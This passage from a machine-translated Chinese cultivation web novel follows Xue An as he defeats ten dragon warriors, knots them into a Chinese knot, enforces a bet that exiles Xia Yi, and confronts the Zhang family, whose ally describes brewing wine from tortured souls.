    It was already so difficult to deal with three powerful monks before, not to mention that the opponent now has a full ten powerful monks.


    Under this disparity of power, all efforts have become so futile.


    For the continuation of the family, Xia Zheng had no choice but to let go of his dignity and nodded silently.


    "The order goes on, ready to vote..."


    Seeing his uncle finally bowed his head, Xia Yi''s eyes showed a hint of joy, but he hadn''t waited for the last word to drop.


    Xue An, who was standing on the side, suddenly laughed, "I said, there is no need to wait for a few days to see you, this is not... the opportunity has come!"

 Chapter 1567： Sure enough, you black loach did it...

    Huh!


    Upon hearing this, everyone''s eyes instantly converged on Xue An.


    Even Xia Zheng suddenly raised his head, looking at Xue An with a stunned expression, "What did you say?"


    Xue An smiled freely, but ignored Xia Zheng. Instead, he turned his head to look at Xia Yi and said indifferently: "You said before that if I can defeat the monks like Zhangjia, you will kneel down and give in. Can you still admit defeat? ?"


    Xia Yi stared at Xue An in a daze, until he regained consciousness after hearing what Xue An said, and then he smiled.


    That''s right, he smiled arrogantly.


    While laughing, Xia Yi shook his head, "Tsk tsk, there are really anyone in these years! There are still people who take the initiative to find death!"


    After that, he looked at Xia Qi and sneered: "Cousin, can you find this guy a lunatic, right?"


    Xia Qi was also a little dumbfounded, because she couldn''t understand what Xue An meant by these words now.


    Faced with Xia Yi''s provocation, Xue An didn''t get angry, but smiled and asked again, "Just say you can accept it or not!"


    Xia Yi immediately nodded and said with a sarcasm: "Admit it, of course! And I can tell you now, if you can really defeat these monks, I will immediately get out of the Xia family, and never enter the Xia family again. ! But if you lose... hehe!"


    Xia Yi said with a strange smile: "Then you abandon the cultivation base and get out of the Wuwang Cliff by yourself!"


    Such a bet is obviously several times more vicious than before.


    At least many people are discolored by it.


    Xue An seemed unheard of, and nodded lightly, "Okay! I hope you can faithfully fulfill the agreement by then!"


    "Haha, of course I am fine!" Xia Yi responded with a sneer.


    The audience fell into a dead silence because of the conversation between the two.


    Xia Feng had just returned from the front line, so naturally he didn''t know what was going on, so he couldn''t help asking the elder.


    The elder sighed lightly, and then told the story again.


    Xia Feng was also startled when he heard this, even if he shook his head and smiled bitterly.


    "How is this possible? Even though this young man is really powerful, he is a full ten powerful monks!"


    "Who said no! I think this boy is too young and full of spirit!"


    In short, almost everyone is not optimistic about Xue An''s current move.


    Even Xia Qi is no exception. She didn''t expect things to be like this, so she stepped forward and whispered with worry on her face: "Sir, you are too impulsive!"


    "What? Do you think I can''t do it?" Xue An said with a smile.


    Xia Qi hesitated, and finally sighed, "Of course I believe in adults, but now the strength of the Zhang family has increased several times! You are alone..."


    "Don''t worry! It just happens to be a bit uncomfortable recently, it''s not bad to find a few rough-skinned guys to fight!" Xue An said lightly.


    Xia Qi almost cried.


    The rough-skinned guy punches?


    This tone is a bit too big!


    But just when she was about to say something, Xue An suddenly waved her hand, then raised her head to look towards Tian Tian, ??and said in a leisurely tone: "Come!"


    In fact, Xue An had just sensed in Divine Mind that a fierce battle was taking place about two thousand miles away.


    That''s why he asked Xia Zheng how far the border front is.


    But this fact was ignored by everyone.


    They would rather think that it was just a coincidence than that Xue An could perceive the situation thousands of miles away.


    It''s not that everyone''s spirit is too bad, but because in this place, because of the cover of the sea of ??darkness, everyone''s spirit is greatly affected.


    No matter how strong he is, he can basically only perceive the situation hundreds of miles away.


    But Xue An is naturally different from those ordinary monks.


    He re-cultivation for two lifetimes, his Dao heart is strong, and his spiritual mind is extremely condensed.


    Even in terms of the quality of divine consciousness, he can now be said to be the well-deserved number one in the heavens.


    In this case, it is a dark cover of mist for others, but it is not difficult for Xue An at all.


    And at this moment, in Xue An''s divine consciousness perception, there are ten bright spots like sparks rushing here.


    Needless to say, this should be the so-called ten powerful monks of Zhang Family.


    really.


    When Xue An''s voice just fell, he saw ten brilliances suddenly appeared in the distant sky, and then these ten brilliances rushed forward with lightning speed.


    In an instant, ten radiances appeared above the Xia family.


    And a bitter power also made the earth tremble three times.


    The hearts of everyone present were trembling together.


    At the same time, Guanghua gradually dispersed, revealing ten figures inside.


    After these ten people completely appeared in front of everyone, a low commotion swept the audience.


    Because standing in the void, there are actually ten strong bald men.


    But seeing these ten people are burly figures, their upper bodies are naked, revealing the knotted and powerful muscle lines.


    Moreover, the appearances of these ten people were all the same, all of them a face full of evil and violence.


    The key is that there is a black dragon tattoo on the bald heads of these ten people.


    This dragon pattern occupies most of the head, and the body rotates a few times around the head, while the dragon head is entrenched on the cheeks, and a pair of red dragon eyes are full of murderous intent.


    The whole tattoo is vivid and seems to come alive at any time.


    At first glance, it is simply chilling.


    Xia Feng trembled when he saw this, and almost groaned in a low voice, "This...this are the ten powerful cultivators of the Zhang family!"


    No one speaks.


    In fact, I just want to say but can''t tell.


    Because these ten brawny bald men stopped in the void, the violent power enveloped the audience.


    In this situation, don''t talk about it, some people with weaker strength are already shaking like chaff, and will fall down at any time.


    at the same time.


    But seeing the strong man headed by the ten people condescendingly overlooking the ground, he smiled coldly.


    "If you surrender now, you will be spared one death, otherwise there will be no mercy!"


    The blunt words are full of infinite murder.


    Many people are looking desperate.


    But at this moment, Xue An looked at the ten strong men with interest, and then smiled faintly.


    "I didn''t guess wrong, it really is you guys!"


    Ok?


    Hearing Xue An''s words, the pair of vertical pupils of the ten strong men were instantly full of hideous murderous intent, and then looked down.


    That''s right!


    The eyes of these ten people are all vertical pupils similar to reptiles!


    This is why their looks are so strange and violent.


    "What are you talking about?" the leading strong man said very coldly.


    Xue An smiled, his eyes gradually showed brilliant brilliance, and then raised his fist and breathed out a little, "I said, it really is the ghost of you black loach!"

 Chapter 1568： Devils Formation

    After saying a word, Xue An stomped his feet abruptly, and the whole person rose up into the sky like a cannonball, and went straight to these brawny men.


    Wherever he passed, the tyrannical Qi set off a torrent of wind and waves, instantly blowing away the clouds in the sky.


    Naturally, these powerful men have slightly changed their colors.


    But they did not dodge, instead they flew straight towards Xue An.


    The speed of both sides has reached the peak.


    So just in a moment, the two sides collided together.


    Boom!


    A earth-shattering muffled sound swept across the sky, and some people who were close by were directly vomited with blood by the loud sound, and backed away with horror.


    Even where the sound waves passed, small cracks appeared in the space, and it was obvious that they couldn''t bear such a huge force.


    And this kind of momentum is beyond the imagination of ordinary people.


    At least everyone in the audience was disillusioned.


    Xia Yi was no exception, he looked up with fear.


    Oh shit!


    I didn''t expect this guy to have two shots, but this one should be dead!


    But at this moment, Xue An''s chuckle came from the violent air flow disturbed by the sound waves.


    There was a hint of excitement in the laughter.


    "Yes, it''s really rough and thick!"


    With the voice, the violent air currents disappeared instantly, revealing the situation inside.


    But seeing Xue An standing proudly on one side, the opposite was a dignified face, like ten brawny bald men facing a big enemy.


    The atmosphere stagnated to the extreme.


    "Who are you?" the leading strong man suddenly said.


    Xue An shrugged, "It doesn''t matter who I am, the important thing is...None of you can leave today!"


    The leading strong man''s complexion changed, and he winked behind him.


    The brawny men behind them dispersed in silence, forming a strange formation in the air.


    When the formation took shape, the aura of these strong men connected to each other and merged into one.


    The already very violent prestige gradually increased with it.


    Xue An didn''t have the slightest fear when he saw it. On the contrary, the brilliance in his eyes became brighter and brighter, and then he spoke with interest.


    "Interesting, then take me another punch!"


    As he spoke, Xue An slowly raised his hand, slammed his palm into a fist, and stepped forward, leaping across the sky, and instantly arrived in front of the ten strong men, and then blasted out with a punch.


    This is a punch that is difficult to describe in words.


    When this punch blasted out, the whole world seemed to be upside down and overturned.


    The power is so strong that the space in front of it makes a beeping sound, as if it will burst at any time.


    The ten brawny men changed their expressions, but the matter was over, they couldn''t retreat, they had no choice but to bite the bullet and join hands to blast them up.


    This time, there was no loud noise before, and even the wind did not arouse much.


    The world became quiet at this moment, and time seemed to stop for it.


    Immediately afterwards, there were slender spatial cracks appearing where the two sides confronted each other, and only after hearing a crisp sound, the space collapsed.


    But even if the space was shattered like dust, the violent sea still did not let the ten brawny men go.


    The first to bear the brunt was the brawny man in front, but he was shocked when he saw his whole body, and then the skin and muscles all over his body seemed to be washed out by an invisible force.


    But this was just the beginning. He raised his head and vomited blood, his whole body was blown upside down by a huge force.


    You must know that when the ten of them were formed, they were already connected as one.


    So when he flew upside down, the entire formation was instantly shattered, and the surging power directly drowned these ten strong men.


    How to describe it!


    It was like dead branches and leaves in a storm, they couldn''t even struggle, and they were blown out by this punch.


    There was deathly silence.


    No one thought that things would turn out to be like this.


    The members of the Xia family who had fallen into despair and were even ready to surrender and surrender were all stupid at this moment.


    Two punches!


    From beginning to end, there were only two punches, and then this imposing manner came, and the ten arrogant men were almost broken.


    Such a gap is incredible to many people.


    Some people squeezed their thighs secretly, thinking they were dreaming, until there was a sharp pain in their thighs, they knew that everything was real, not dreaming at all.


    at the same time.


    Xue An calmly stood in the void, looking at the ten strong men who had been blasted into the extreme distance, and gently shook his head, "Is that strength? That would disappoint me!"


    As if to respond to Xue An''s words, a dragon chant suddenly came from the distant sky.


    Immediately afterwards, the ten brawny men who were beaten by Xue An raised up to the sky and roared, and then the flesh and blood on their bodies collapsed, but the black dragon tattooed on the head rushed out and swayed in the air. It increases instantly.


    In an instant, these ten strong men turned into ten dragons with a body size of thousands of feet long, and the entire body is as black as ink!


    Ten magic dragons entrenched most of the sky, and the huge dragon eyes stared at Xue An, and the airflow from his mouth even caused a gust of wind to blow the entire world.


    Xia Zheng stared at this scene blankly, and whispered in his mouth: "It turned out to be like this... No wonder these powerful cultivators of the Zhang family are so powerful, they turned out to be in the form of a magic dragon!"


    Speaking of this, he suddenly trembled all over, and then looked at Xue An''s eyes full of worry.


    To be honest, Xue An''s performance really shocked him.


    Because from the beginning to the end, Xue An used pure physical strength to fight against these ten strong men, and with two punches, he repelled these strong men who had almost wiped out the Xia family.


    Such strength is simply unheard of.


    But now Xue An is no longer facing a simple ten strong men.


    That''s ten dragons!


    Also worried in my heart are Xia Qi and most of the Xia family.


    After all, no matter what, Xue An is now fighting on behalf of the Xia family.


    Only Xia Yi showed a sneer after seeing these magic dragons.


    To be honest He was scared just now.


    Some even wonder if they are really going to lose!


    But now everything is finally over.


    After all, how can one be the opponent of ten dragons?


    In this highly anticipated situation, Xue An was not nervous at all. On the contrary, he looked at these magic dragons with a smile, eyes full of excitement.


    "It''s great, there are ten more magic dragon blood beads!"


    His words were not loud, but they spread throughout the audience.


    People are still wondering and don''t understand what it means.


    These ten dragons were all startled, and immediately understood, and then all became angry.


    "Kill!" A monster roared out the word kill, and then rushed forward.


    The other nine dragons followed closely, blasting Xue An with supreme power.

 Chapter 1569： 1 to 10 defeated

    "Good come!" Xue An chuckled, instead of dodge or dodge, he greeted him directly.


    boom!


    The two sides collided in midair.


    Immediately afterwards, before everyone could react, there was another bang.


    But in the sky, the dragons dance wildly, strangling all the vitality that can be seen.


    In this, there was a faint figure running rampant, as if entering a man''s land.


    And with every loud noise, there will be a dragon''s body trembling, back and forth again and again.


    Suddenly, the ten magic dragons that had just arrived aggressively were blasted out again.


    Moreover, every magic dragon was wounded, and blood was flowing down the scales of the dragon, and it was the first time that a look of fear appeared in the dragon''s eyes.


    They simply couldn''t understand why the white-clothed boy opposite was so tyrannical.


    He even blasted himself with physical force throughout the process.


    This is simply incredible.


    How tyrannical the body of the magic dragon is, only they themselves know best, not to mention that this time they still beat ten, but they still lost.


    This boy in white is simply crushing himself.


    How can this not make them feel terrified.


    In this situation, these magic dragons began to recede slowly.


    But Xue An obviously wouldn''t let them go so easily.


    He shook his fingers slowly, and there was a crackling sound like firecrackers in the joints.


    "It''s pretty good. I can actually take a punch without dying. It seems that the Dragon Race''s bloodline talent is indeed strong enough. Even the race that has been tainted by the abyssal devilish energy is so rough and thick! But that''s it!"


    Speaking of this, Xue An''s face showed a sorrowful smile, "Next, I hope you can catch my punch!"


    In a word, these magic dragons all trembled.


    At the same time, Xue An took a step forward.


    With one step, the psychological defenses of these magic dragons collapsed instantly, as if they had been negotiated, they all turned around and then fled in all directions.


    Looking at the ten magic dragons fleeing like they had blown up their nests, everyone in the Xia family opened their mouths slightly, and couldn''t believe everything in front of them.


    Especially Xia Yi, his eyes were almost staring out.


    I thought that the white-clothed boy must have been ill-fated, but who would have thought that after only a few encounters, these daring and cool-looking dragons would run away like frightened chickens.


    This is beyond the scope of Xia Yi''s understanding, and he whispered softly: "This... how is this possible?"


    But the hard facts are obviously not transferred by anyone''s will.


    Xue An looked at the dragon fleeing from all sides and smiled slightly, "Run? Do you think you can still run?"


    With the voice, but seeing Xue An''s eyes suddenly showed an extremely bright brilliance, his figure flashed, and instantly disappeared in place.


    at the same time.


    Above the heads of these ten magic dragons, ten phantoms of Xue An appeared. Although they were phantoms, their momentum was not weak at all. They stuck out a palm, and then pressed straight down.


    By the time these ten dragons sensed something was wrong, it was already too late.


    Xue An slapped his palm, making the body of these dragons stagnant and stopped in midair.


    Immediately afterwards, Xue An grabbed the dragon tendons on the back of the dragon''s neck.


    This dragon tendon is the key to the dragon clan. Once caught by someone, it will instantly lose its resistance.


    These ten dragons are naturally no exception. They only uttered a feeble cry, but they lost the power to move their bodies.


    Then Xue An''s ten imaginary images worked hard, pulling the ten limp and muddy dragons to gather in the middle.


    When it came to the middle, Xue An''s body gradually emerged above these people''s heads, and then looked at these dragons that had completely lost their dignity and were no different from a loach.


    "My lord, spare my life!"


    Looking across, the ten dragons all begged for mercy.


    At this moment, they are more frightened than anyone else, because Xue An''s strength is too terrifying.


    Not to mention anything else, the present avatar alone is enough to be awe-inspiring.


    So they chose to admit defeat and beg for mercy without hesitation.


    As for the face...


    For these monster races, what face can be more important than their own lives?


    And hearing these dragons begging for mercy, many people looked strange.


    Especially this Xia Feng, who had just returned from the front line, was even more stunned.


    You should know that when fighting on the front line, these ten dragons were extremely cold, and their actions were full of superior demeanor.


    Unexpectedly, in a blink of an eye, these guys began to beg for mercy, and listening to the words that were so flattering that there was almost no bottom line, they were completely different from the cold person before.


    This huge contrast made Xia Feng really unacceptable.


    But Xue An didn''t feel anything about it.


    Because he knows that the so-called superior demeanor is based on strength, especially these monster races.


    When it is stronger than you, it will be extremely proud.


    But as long as you beat it, it will kneel and lick you without a limit!


    This is the way of survival of the Yaozu.


    So Xue An has already taken offense.


    "Please forgive me?" Xue An asked indifferently.


    "Yes, yes! As long as the adults are willing to let us go, we are willing to look at your head and obey any instructions from you!" These magic dragons said in a hurry.


    "Well, I ask you, what did you do when you sneaked into this place from the sea of ??darkness? And who is the demon master who led you here?"


    Xue An''s two questioning words made the ten dragons look disillusioned.


    Ok!


    With the face of the dragon clan, it is difficult to see the outstanding change, but from the wide-open eyes and the color of horror revealed in the dragon''s eyes, it can be seen that these two problems of Xue An are right in their hearts.


    The ten dragons began to tremble slightly.


    Xue An raised his eyebrows slightly, "Huh? Why? I don''t want to say?"


    "Ah, no, no! Your lord is really..." The leading dragon hesitated to say something.


    Xue An waved his hand, "Well, in fact, I am not the kind of person who is difficult for a strong man. Since you don''t want to say it, then don''t say it!"


    Hearing what Xue An said, all these ten dragons secretly breathed a sigh of relief, and their hearts were relieved a lot, just wanting to thank Xue An for his generosity.


    But when Xue An looked at their long and limp bodies with interest, his eyes suddenly lit up, "But I have an idea!"


    The hearts of these magic dragons all twitched, and felt a deep chill for no reason.


    "Big...sir, what do you think?" the leading dragon asked tremblingly.


    Xue An became more and more excited, "I think your current state is just right for one thing!"


    one thing?


    What''s the matter?


    The ten dragons felt panic inexplicably.

 Chapter 1570： Chinese knot made with the body of a magic dragon

    Xue An ignored this, but saw his eyes light up, and he said to himself: "Yes, this length is just suitable for making silk thread. In other words, you ten magic dragons can just be tied into a Chinese knot! Hehe , I''m such a genius!"


    Speaking of this, the excitement on Xue An''s face was almost overflowing, and he nodded at his ten virtual images.


    The ten phantoms immediately pinched the ten dragons to gather together, and then flew up and down, starting the weaving journey.


    For a while, seeing the dragon''s body flying above the sky, howling miserably.


    As Xue An said, after losing resistance, these ten dragons were straight and slender, just like black silk threads.


    So in the blink of an eye, a huge Chinese knot suddenly appeared on the sky, and then these virtual images of Xue An disappeared.


    But seeing the heads of the ten dragons are listed in each corner of the Chinese knot, the dragon''s eyes are full of infinite pain and humiliation.


    But Xue An looked at it with a smile, and then nodded in satisfaction, "Yes, don''t say it, you are really a bit of performance art like this!"


    The ten dragons were almost crying without tears.


    Performance Art?


    Somehow he is also a dragon! Now it has been woven into a Chinese knot. Does he still call it performance art?


    This boy in white is simply a devil!


    Master Zulong is here, please hurry up and let this demon disappear! The ten dragons prayed secretly.


    But these ten dragons didn''t know. If their ancestor dragon knew that Xue An was here, they would probably run faster than anyone else!


    At the same time, the audience was silent.


    No one dared to speak, everyone looked at the white-clothed boy in the sky in infinite awe.


    A joke, even the Devil Dragon has become a prisoner of this white-clothed boy, and he was even **** to form a Chinese knot.


    Who dares to disrespect such a ruthless person?


    At this time, Xue An circulated a few times around this huge China, and then raised his hand and wrote a talisman in the air, which was printed on the bodies of these dragons.


    Click!


    With a burst of noise, the bodies of these dragons began to shrink sharply, and in a blink of an eye they shrank from the size of a thousand feet to the size of a palm, and then fell into Xue An''s palm.


    But if you look closely, you will find that Xue An''s body has fallen slightly when holding it in his hand.


    It can be seen that this Fuzhuan has only reduced the body, but the weight has not been reduced.


    Xue An weighed the Chinese knot in his hand, smiled slightly, and then lowered his head to overlook the people on the ground.


    Everyone bowed their heads in awe where they looked.


    But there are exceptions.


    Such as Xia Yi.


    I saw that he finally awoke from the infinite shock, and then took a step backwards with a pale face, but it seemed that he was too panic and did not stand still.


    So he plopped and fell to the ground, looking at Xue An tremblingly.


    Xue An smiled slightly, and to be honest, he actually didn''t bother to take care of things like Xia Yi.


    But since there was a gambling appointment before, Xue An would naturally not let him off pretending to be generous.


    Xue An said leisurely: "Xia Yi, now that the outcome is divided, you should also fulfill your previous promise!"


    Xia Yi''s face instantly became extremely ugly.


    But he was not a fool, he could naturally see the current situation, so he immediately got up from the ground, knelt directly on the ground, banged his head three times, and then raised his head with blood on his forehead.


    "My lord, I was wrong! Please forgive me!"


    Xue An nodded, "Yes, but this is just one of the bets! I remember you said in person just now, if I win these guys, you will immediately get out of the Xia family and never step in here again. of!"


    As soon as this was said, there was a slight commotion in the audience.


    Xia Yi''s face turned black, and she tremblingly said, "My lord, I..."


    Xue An waved his hand, "Don''t beg me for mercy, I''m willing to bet, I have no discussion! But..."


    Hearing Xue An��s Dan, Xia Yi��s eyes suddenly showed a radiance.


    Of course he didn''t want to be evicted from the house.


    Because in this Wuwang Cliff, and even in all the dark cities, people who are expelled from their families generally end up miserably.


    What''s more, Xia Yi has been dignified since childhood, not to mention the power of the Xia family, but it can be considered a place.


    If he left the Xia family in this way, wouldn''t all the previous efforts be wasted?


    So he looked at Xue An hopefully.


    Xue An said with a faint smile: "If your clan members are all pleading for you, I can consider giving you another chance, but only if more than half of the clan members nod their heads! So it''s up to you now!"


    Hearing what Xue An said, a fire of hope suddenly ignited in Xia Yi''s heart.


    As long as half of the people nodded in agreement, can they stay?


    Doesn''t this condition sound too harsh?


    Thinking about this, Xia Yi immediately knocked a few heads again, "Thank you, sir!"


    "Don''t thank me, I only give you time to stick incense, let''s start!"


    After all, Xue An simply stood in the void, watching everything that followed with interest.


    Xia Yiqiang suppressed the excitement in his heart, knelt and turned around, looking at everyone in the Xia family with hope.


    "Everyone, you guys have all heard that. Your lord has given me a chance, so Xia Yi hereby implores everyone to give me a chance too. Xia Yi thanks in advance!"


    As he said, he solemnly knocked his head.


    But to his surprise, none of the imaginary responses appeared. On the contrary, the audience was quiet and terrifying.


    This couldn''t help making his heart tense, and hurriedly raised his head to look at everyone.


    then����.


    His heart gradually sank to the bottom.


    Because everyone in the Xia family at this moment, the expressions on their faces all became a little weird.


    No one spoke, just watching him quietly.


    Xia Yi''s heartbeat speeded up, her mouth was dry, and she hurriedly said: "Everyone, I may have done many wrong things before, but now I do know that I was wrong. I hope everyone can give me a chance. I beg everyone!"


    Another head knocked on the ground, but the audience was still quiet and terrifying.


    Now Xia Yi was completely panicked, and began to keep saying good things.


    Many people could not help shaking their heads secretly looking at Xia Yi''s miserable situation at the moment.


    The blame is that this Xia Yi speaks too arrogantly, and this result is to blame.


    So there is still no one to speak.


    Xia Yi''s heart gradually cooled down, and with the last glimmer of hope, he looked at his gang of fox friends These guys usually have a good relationship with Xia Yi, but when Xia Yi looks at them.


    These people all lowered their heads in panic, and didn''t even dare to look at Xia Yi.


    A joke, these guys usually relied on the power of Xia Yi to dare to fake their prestige. Now that the reliance is gone, of course they dare not say anything.


    What''s more, these guys had more or less ridiculed Xue An before.


    At this moment, I was afraid that Xue An would find himself to settle accounts again, how dare he intercede for Xia Yi?


    When Xia Yi saw this, his eyes gradually widened, and his heart was completely desperate.


    "You...you..."


    Finally, he smiled sadly, then turned to look at Xia Zheng.


    "Uncle, don''t you say anything at this time?"


    Xia Zheng stayed silent for a moment, and finally shook his head, "Xia Yi, blame you for conflicts with adults!"

 Chapter 1571： No matter how many ants there are, they are also ants

    Xia Yi trembled all over, and finally understood.


    Yes!


    I''m so stupid!


    Actually thought this was the opportunity Xue An gave him.


    In fact, if he really wants to spare himself, why bother to do so?


    And now there is Xue An��s previous performance against the sky, even if there are people in the Xia family who want to let him go, how dare to take the risk of offending Xue An to come forward?


    Xia Yi figured out a lot of things in an instant, then raised his head to look at Xue An above the sky, his face couldn''t help showing a trace of despair.


    He slowly stood up, "I see! In that case, I''ll go!"


    After all, he glanced at Xia Qi with complicated eyes, and then smiled nervously.


    "Cousin, you won, but I won''t admit defeat, because...you are just lucky!"


    After all, Xia Yi turned and left without hesitation, and finally disappeared into the vast night.


    The audience was silent.


    At this time, Xue An slowly fell on the ground, and the senior officials of the Xia family headed by Xia Zheng hurriedly greeted him.


    Xia Zheng clasped his fists, "Thank you, my lord, for defeating the magic dragon and saving my Xia family from fire and water!"


    Xue An smiled slightly, "It''s nothing more than a gesture of help, you are welcome! And speaking of it, I also want to thank you Xia Family!"


    Thanks Xia''s?


    Xia Zheng and several elders looked at each other, wondering what Xue An meant by saying this.


    In fact, Xue An is in a very good mood at the moment, and it is not a lie to want to thank the Xia family.


    Xue An slaughtered a magic dragon on the flying boat before and obtained a magic dragon blood bead. As a result, this thing helped Xiao Sha who had fallen into a dead and alive state.


    At that time, Xue An wanted to catch more dragons.


    But the area of ??the sea of ??darkness is too large, and the limit on divine consciousness is extremely large. With Xue An��s current strength, although he will not get lost after entering, it is impossible to find the magic dragon smoothly, so he is helpless. give up.


    Unexpectedly, he found a breakthrough in the Xia family.


    When he heard Xia Qi say at that time, he inferred that these so-called physical exercises should have been transformed by the magic dragon.


    Sure enough, ten dragons were caught at once.


    Xue An is naturally refreshed.


    At this moment, when Xia Feng suddenly fell to his knees, he repeatedly bowed his head, "Thank you, my lord, for avenging the Xia family''s children who died in battle!"


    Then he raised his head with tears on his face, "But now, many of my Xia family��s children have fallen into the Zhang family and become prisoners. If the news of this party goes back, the Zhang family will be ashamed and angry, these people It is very likely that there will be more ills!"


    "So I hope the adults can make another move and save these captured Xia family children!"


    With that, Xia Feng kowtowed to the ground again.


    When Xia Zheng and others heard this, their complexions changed even more, and they bowed to salute.


    "Xia Feng is right. I beg the adults to help and save the captured children!"


    Faced with the ardent expectations of these people, Xue An looked as usual and smiled faintly.


    "Don''t worry, even if you don''t tell me, I will go to Zhang''s family. After all, I can hook up with the magic dragon, so there must be a secret between them!"


    Xia Zheng, Xia Feng and others were overjoyed, "Thank you, my lord, I will never forget the kindness of my lord!"


    Xue An waved his hand, "Hehe, the kindness is unnecessary, it''s just a matter of effort! What''s more, Xia Qi and I are still friends!"


    Xia Qi''s face flushed.


    In fact, she is still in a dizzy state now.


    So when she heard what Xue An said, she felt a little at a loss.


    Xia Zheng and others looked seriously, "Yes!"


    At this time, Xue An raised his head and looked at the moon in the sky that was hidden behind the mist, and said lightly: "The moon is black and the wind is high. It''s a good weather to do things!"


    Speaking of this, he smiled at everyone, "You are here waiting for news, I will go back!"


    After speaking, he rose into the sky and disappeared into the vast night sky.


    All the members of the Xia family were left standing in place, and it took a long time to look at each other.


    "Big...sir, did you go alone?" an elder said in disbelief.


    "Yeah! Just go!" Xia Zheng smiled bitterly.


    "Hey! That Zhang family is also a powerful force. The strong are like clouds. Is it really okay for the adults to go alone like this?" Someone whispered.


    Xia Feng looked at the sky in reverence, and said in a deep voice, "It''s definitely possible! Because in the eyes of a strong man like an adult, the strong we are all about are ants, and no matter how many ants... it''s just ants! "


    Because of Xue An''s destruction of the ten magic dragons, Xia Feng at this moment has almost a fanatical worship of Xue An.


    In his eyes, Xue An is almost omnipotent.


    of course!


    He is not wrong to think so!


    Just when everyone was talking and marveling.


    Xia Zheng appeared next to his daughter Xia Qi and whispered: "Qi''er!"


    "Father!" Xia Qi retracted her gaze to the sky and said, bowing her head.


    "How do you... know this adult?"


    Xia Qi gritted her teeth and sighed, "It''s on the flying boat..."


    Soon, Xia Qi told the story carefully.


    Xia Zheng nodded suddenly when he heard this, and suddenly asked, "What does this adult mean to you?"


    Xia Qi didn''t understand what it meant at first, but when she understood it, her face flushed with shame, and she shook her head hard.


    "I do not know!"


    "Don''t know?" Xia Zheng was a little surprised.


    He thought that Xue An could be so helpful because of his daughter.


    "Yeah, I don''t know!" Xia Qi''s expression was a little sad, "Because I can feel that his eyes never stayed on me for even a second! Actually I invited him to Xia''s house at the beginning. I didn''t agree at all at that time!"


    "Later, after hearing about some weird physical exercises, he followed with great interest!"


    Xia Zheng was silent when he heard this.


    Xia Qi smiled bitterly, "Father, I know what you are thinking, but I think that there is something like an adult, we still don''t expect more!"


    Xia Zheng nodded patted his daughter''s shoulder lightly, and sighed, "Yes, I am not greedy enough and wishful thinking!"


    Just when the entire Xia family was talking about this.


    Xue Anye had traveled tens of thousands of miles away based on the memories of these magic dragons, and came to the outside of a vast and luxurious manor.


    At this moment, the night is like ink, but the lights are brilliant in this manor.


    However, the layout of this manor is different from ordinary buildings. The manor is divided into octagonal octagons, and the pavilions and pavilions are distributed in a strange pattern.


    In the northwest corner of the manor, a tall building stands.


    At this moment, in a room on the top floor of a tall building.


    Zhang Yinchi, the youngest member of the Zhang family, sat at the wine table and looked at the opposite person with a smile.


    "His Royal Highness is really good drinker!"


    On the opposite side, a beautiful lady slowly put down the wine glass and said lightly: "It''s just because your wine is not good!"

 Chapter 1572： Spirit Brewing

    This is a woman about twenty-seven or eighteen years old, with long purple hair scattered around her waist, revealing a beautiful and moving face, her eyes are shining, but there is a trace of evil in the pair of vertical pupils. Different and indifferent.


    Zhang Yinchi was taken aback when he heard the words, and immediately smiled: "Oh? This is a thousand-year-old wine that has spread in the Paradise of Lost Paradise. Doesn''t it actually fall into the eyes of Her Royal Highness?


    The woman smiled.


    It is strange that when she laughed, the original beauty disappeared instantly, giving people a strange and **** feeling.


    "Does Zhang Shao know what the most beautiful wine in the world is made of?"


    "what?"


    "It''s the soul!" When it came to this, the woman became more excited, "and it must be the soul of a powerful monk!"


    "Soul?" Zhang Yinchi was slightly startled.


    "That''s right, it''s Divine Soul!" The woman nodded, "In our Demon Dragon Palace, there is a good brew!"


    "Before brewing this kind of wine, the captured monks must be tortured to death, and then their resentful spirits must be collected, so that the unique wine in the world can be brewed!"


    Speaking of this, the woman licked her lips and said with an aftertaste: "That''s the real wine. Compared with that, your so-called fine wine is nothing more than sugar water!"


    If such conversations are heard by outsiders, they will definitely shudder.


    After all, so many innocent monks are tortured just to make wine, which sounds really unacceptable.


    But Zhang Yinchi didn''t show the slightest fear after hearing the woman''s words. Instead, his eyes lit up and he asked with interest, "Oh? Is it that amazing?"


    "Of course! As long as you have drunk that kind of wine, you will naturally dismiss the wine in the world!" The woman said indifferently.


    Zhang Yinchi became a little excited, "If this is the case, now there are a group of prisoners captured from the Xia family, can they also be used to make wine!"


    "of course can!"


    "That''s great, then this matter will trouble your Royal Highness!" Zhang Yinchi said with a smile.


    In Zhang Yinchi''s eyes, the lives of a few cultivators were not worth mentioning, not to mention that the prisoners captured from the hostile family could not be used to make wine.


    Then the two discussed a few more about winemaking, and finally Zhang Yinchi turned around and asked in a deep voice, "His Royal Highness, it''s not early, and I don''t know how your ten men are fighting now! "


    The woman showed a cold smile, "I think it is better for Zhang Shao to think about how to unify Wuwangya as soon as possible according to the agreement! After all, the place after the conquest has to be collected by your Zhang family! As for my men... ...."


    "It''s an innocent cliff, can anyone be the opponent of my dragon guard?"


    The arrogant color of the woman''s face.


    Zhang Yinchi nodded again and again, "Yes, yes, I blamed my crazy thinking, and the princess rest assured that as long as your subordinates destroy the Xia family, my Zhang family can immediately conquer it!"


    But at this moment, a light sigh came from the night sky outside the window.


    "I think you shouldn''t wait for that day!"


    Hearing this, Zhang Yinchi stood up and shouted grimly: "Who? Who is talking? If you have the ability, don''t hide, come out now!"


    There was indeed a shock in Zhang Yinchi''s heart, because even now, within the range of his spiritual perception, there was still no abnormality.


    But that voice was not fake, and it was obviously still very close.


    This shows that the speaker at least has deep attainments in concealment.


    That''s why he is so cautious.


    "Haha! Why do you shout so loudly? I''ve been here all the time, haven''t you seen it?"


    Following the voice, but in the night sky outside the window, a young man in white slowly emerged.


    After seeing this young man, she had been sitting at the table without getting up during the whole process, and even the Devil Dragon Princess, who had not changed her expression, was taken aback.


    Then there was an unexplained brilliance flashed in her pair of vertical pupils, and a faint smile rose from the corner of her mouth, watching quietly with interest.


    Zhang Yinchi''s face was as cold as ice, staring at this young man who was less than a hundred meters away from him, and said coldly: "Who are you! Why are you suddenly here?"


    At this moment, Zhang Yinchi was more and more afraid of the white-clothed boy in front of him, because he found that when this boy appeared, the entire Zhang family''s defense formation was calm as usual, without the slightest change.


    This is simply impossible.


    This is because when this Zhang family mansion was built, he deliberately spent a lot of money to hire a super master who is good at formation, combined with the terrain and other conditions, and spent a lot of money to build this mansion.


    The architectural layout is even more unfathomable, so when viewed from the outside, this mansion will take on an octagonal shape.


    When a strong foreigner invades, it will immediately arouse the defensive array here, which can be said to be as infallible.


